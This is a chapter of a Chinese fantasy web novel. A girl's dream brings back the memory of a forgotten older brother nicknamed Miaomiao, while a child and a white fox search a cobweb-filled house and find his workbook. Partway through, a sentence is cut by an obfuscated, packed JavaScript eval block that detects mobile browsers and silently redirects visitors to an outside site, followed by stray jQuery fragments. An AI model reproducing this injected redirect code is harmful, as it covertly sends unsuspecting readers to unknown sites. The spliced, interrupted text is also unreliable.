10. 果果

“果果。”


祝穗礼重新进入梦里,听见有人在喊她。


好久没人喊她果果了。


这回梦里她没有坐在教室里,没日没夜地看周记。


她放学背着书包,站在校门口,手里拿的周记本翻开,停在没有标点符号那一页。


她在接着做方才的梦。


站在校门口的仅她一个,老师也没陪着她。


明知道梦是没有逻辑的,她依旧有些许伤心。


秋风扫过落叶,她好像被大人丢弃了。


“果果。”有个十七八岁的少年朝她走来,见叫她一遍没反应,好脾气地继续道:“我们回家了。”


少年走近的瞬间,梦里迷雾拨散,她清晰地看到他带笑的眉眼。


他是谁?


做梦的祝穗礼脑子变笨,想不起来,不过不妨碍她讨伐道:“怎么是你来接我?你不是要去好远好远的地方上大学,要准备好多好多东西吗?”


她站在原地没动,抱怨道,“你不是说,我不能一辈子当牛皮糖粘着你吗?让我少烦。”


课文背不下来,记仇倒是厉害。


“是我的错,下次一定帮果果看周记好不好。”少年包容她的坏脾气,想去拿她手里的周记和背上的书包。


“不用了,我自己会写。”她躲开少年的手,自顾自向前走,“你跑好远去上学,下周你能帮我改,下下周你跑好远去上学,怎么帮我改?不就是个标点符号,我会写。”


少年跟在她后面,哄道:“我错了果果,我可以在电话里给你改周记。”


“不用你改,我学得会。”


“那我走了,你真的不想我吗?你这么狠心,我一走少说一百天,你连个给我电话都不给我打?”


走过街边商铺,锃亮的玻璃门映出女孩气鼓鼓的脸蛋和身后高一个头的少年温润含笑的眉眼。


她陡然停步转身,“难道你一个电话都不给我打吗?”


少年一怔,转而笑道:“会打会打,我每周要打电话回来,问果果在学校学得怎么样?”


他第二次尝试拿她的书包和周记,这次她松手给他了,“我要吃烤肠。”


少年闻言看向罩在玻璃里,自动翻滚的烤肠,笑道:“难怪在这里停下。”


少年不仅买了烤肠,还买了刷酱的烤年糕,她把脸塞得圆圆的,不忘重申:“我会学好标点符号的,下周的周记会有标点符号的。”


*


随燕归蹲坐在祝穗礼床铺左边靠下的位置,看她呼吸均匀进入香甜美梦,脸上挂的笑容比她白天笑得自然明媚多了。


是梦到了什么好事情?


估计时间差不多了,随燕归拽过没事偷懒睡觉的傻狐狸,塞进他的衣服里,飞快地蹬他的小短腿朝外跑。


“你去做什么?”富贵警觉向前。


随燕归手指放在嘴巴上,让它小点声,不要吵祝穗礼睡觉。


富贵不自觉地照他的动作放轻音量,跟过去的动作耽搁了一下。


儿童房的门内门外完全是两个世界,门外蛛丝经过先前白狐的利爪破茧、祝穗礼醒来的恐吓,它们一改刚才的悠闲垂挂,疯狂地粘住一切物体进行织网。


一楼尚好,二楼从下往上望过去,皆是一片白。


织网……


蜘蛛的网会粘住猎物后吃掉,网只需要薄薄一层就好,为什么粘到他们的时候,蛛网里三层外三层,包得跟茧一样。


会结茧的昆虫基本上不是为了猎杀食物,而是进化自身。


“你跑什么?”追出来的富贵,目送随燕归紧紧抱住狐狸,两步跳上楼梯,“小心。”


随燕归没来得及多加思考,赶在富贵追上他前,盯准目标,勉力起跳。


胆子最大,伸得最长的那根看见他自投罗网,兴高采烈地和他双向奔赴,将他拉了点上来,方便其他蛛丝一块结网。


富贵预料中摔成大马趴的场景没有发生,他们在半空中反复被什么东西托住,以一个不算舒适的姿势定格在空中。


富贵觉得它的电子眼等雪停了,是要去送检换双新的。


离谱。


它可是刚出厂的最新机器人,质量未免太差了点。


蛛网贴在皮肤上的滋味难言,透过缝隙,随燕归看见蛛丝猖狂归猖狂,它们还有有分寸的。


它们不约而同地绕过祝穗礼住过的房间。


随燕归在等在蛛丝结网的空隙里,在心里想:下次可以带件她的衣服,或是别的东西。


估摸时间差不多了,随燕归捏捏狐狸的耳朵,示意它干活。


遭受胁迫的白狐早忍受不了,迫不及待的伸出爪,划开讨厌的蛛丝。


它轻盈地跳到二楼祝穗礼的房门前进去,背上随燕归外套掀开,四肢紧紧扒住它不放。


白狐忍了忍,它尚没有完全熟悉这个世界,如今丢掉它选择的应召者,不是明智的选择。


流浪猫狗的下场多半不怎么好。


门外的蛛丝显然在犹豫,它们忌惮祝穗礼残留的气息,又馋美味的食物。


落地调整好状态的随燕归,一把扛起狐狸,闷头向三楼冲去。


它的应召者其他地方另说,独这点最好,没事不会把它当坐骑。


二楼的蛛丝异动,疯狂朝它们涌来,窝在肩上白狐懒洋洋地划开上面的蛛丝,为他开路。


蛛丝不难对付,对于大型动物来说,它们的爪子能轻易挣脱,但蛛丝胜在数量多,频繁扰狐,它每断一回蛛丝,爪子黏黏的像踩到了拉丝的口香糖,特别想去磨爪子。


白狐在等楼梯上的蛛丝绊倒随燕归,绊倒后它就能趁机逃跑,换地方睡觉去了。


至于它的外来客若是被蛛丝困住,有了什么不测,短时间内不在它的考虑范围之内。


它想象中的事情没有发生。


满楼道的蛛丝没一根顶用的,屁大点的小孩扛着比他轻不了多少的狐狸居然一路跑到了三楼。


哪怕有它威慑,几根蛛丝合成一股套脚绊人不会吗?


没脑子的蛛丝。


随燕归猜不到,第一次见到蛛丝就跳脚跑掉的傻狐狸在想什么,他一鼓作气跑到三楼,没有他想象中的气喘吁吁。


他仅是长相身体变回了小孩子,他的声音、体力、思维全停留在成年人的时间里。


三楼的格局和一二楼没有区别,蛛丝的状况却和二楼大不一样,二楼它们利用一切东西结网,三楼的它们很安静。


蛛丝静静地躺在灰尘堆里,乍一眼看过去,和其他多年未住人的房子没有区别。


随燕归在三楼的地面上挪动,踩出几个明显的脚印。


通过灰尘印来看,三楼的蛛丝少说几个月没有移动过。


见识过二楼蛛丝的疯狂,三楼的蛛丝静得有些不可思议。


他拖下脖子上的傻狐狸,抱在怀里,顺着所有蛛丝的源头看去,它们皆是从一间紧关着门的房间里延出来的。


这个位置……正下方是客厅。


第一次交锋后,确认蛛丝只是难缠的白狐在他怀里慢悠悠地打哈欠,心里催促他快点进去,他早点完成目标,它早点好去睡觉。


三楼总共三间房加一间卫生间,蛛丝延出来的房间房门紧闭,另外两间房门都开着,其中一间里面空荡荡的,只能看到靠门一侧打的衣


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460538|169738||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


柜,其他家具应该是没搬进来。


最后一间站门口看去能看到写字的书桌,大概率是间书房,书房下面是祝穗礼住的房间。


随燕归绕过蛛丝,进入书房。


情况未明,傻子会直接走进看起来最危险的地方。


书房书柜里摆满了书,书桌后面放着两个单人沙发。


随燕归想起屋主做完事情,眼神往旁边一扫,没有找到能够坐的地方,随即蹲下的场景。


单人沙发很适合她整个摊进里面。


随燕归现在仅比书桌高出一点点的,够不到书柜把手,看到拿到的东西有限。


他踮起脚尖,腾出一只手扒拉掉挡视线的白毛,仔细观察书桌上有什么。


书桌很整洁,靠里侧摆了几本书。


他放平脚尖,看看死沉死沉的傻狐狸,将它放在地上,跨上去并拢,用腿夹住,防止它没人看而跑掉,继续踮脚够书。


白狐:……


它收回,它选择的人比其他人强点这一句话。


说起来,当初逃难路上,它见过不止一个来自异界的天选者,它是为什么跳过其他人选择他呢?


假如随燕归能读懂它的心声,可能会抽空反问道,难道不是我们遇见的时候,刚好我要离开,而你在逃命,没有其他选择。


那样的话,被质疑的白狐绝对会扫他一尾巴跑掉,离开的时候顺便撞破隔壁的门,放蛛丝进来。


经过随燕归坚持不懈地努力下,他终于够到书的一角,他用力抠住书页,手指攥得发白,用力将书拖了过来。


他随机挑中的是一本经典高中习题集《五年高考三年模拟》。


翻开扉页,空白的地方歪歪扭扭地写了两个字


——苗苗。


*


祝穗礼在梦中啃完美味的烤肠,站在她对面的少年和她一样齐齐变矮。


场景变换,他们站在家前面的院子里。


啃烤肠会把她啃矮吗?


她惊恐地看向手里拿的烤肠,却发现烤肠已经不见,取而代之地是一本书。


《三年高x五年xx》


咦,封面上有些字她怎么不认得?


“果果在做什么?”比刚才矮一点的少年依然笑着牵起她的手,“这是送我的生日礼物吗?”


她看看少年,看看书,迟疑地点点头,“是的,这是我精挑细选的礼物。”


尽管书里的字大半她都不认识,但不妨碍她这么说。


屋里看不清面容的爸爸在准备晚饭,端菜上桌,“她跟在书店里的人全部念叨了一遍,她上一年级,她有个哥哥上高中了,她要给哥哥买生日礼物。


“书店里的人估计是嫌她烦,塞给她这本书,告诉她,她的高中生哥哥肯定喜欢。”爸爸说到这里不客气地笑出了声。


“碰,啪。”


玩具倒地的声音和爸爸的笑声重叠在一起。


重叠的声音在一遍遍的回荡。


祝穗礼头疼发作,她的头变成了早上天天必敲的晨钟。


头疼中,她看见隔壁儿童房一个头很圆的矮墩墩跑到门边,他的脚上套着带防滑垫的厚袜。


她听见自己说:“祝圆圆,别跑出来,回去。”


刚满一岁的祝圆圆不想懂她的话,祝圆圆对旁边的少年叫道:


“哥哥。”


哥哥?


祝穗礼愣住了。


她的哥哥……


爸爸说的话突然进入了她的脑子。


她想起来了。


她不止一个弟弟圆圆,还有一个哥哥,比她大八岁。


大名祝禾嘉,小名苗苗。